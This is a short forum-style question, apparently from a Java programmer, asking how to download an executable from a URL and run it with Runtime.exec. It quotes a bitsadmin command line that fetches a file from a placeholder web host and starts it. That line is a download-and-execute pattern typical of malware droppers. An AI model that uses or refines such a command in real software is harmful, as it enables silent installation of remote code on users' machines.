So far I've got this line to work perfectly and it executes calc.exe on my computer:
Runtime.getRuntime().exec("calc.exe");
But how can I download and execute a file from a website link? For example http://website.com/calc.exe
I found this code on the web but it doesn't work:
Runtime.getRuntime().exec("bitsadmin /transfer myjob /download /priority high http://website.com/calc.exe c:\\calc.exe &start calc.exe");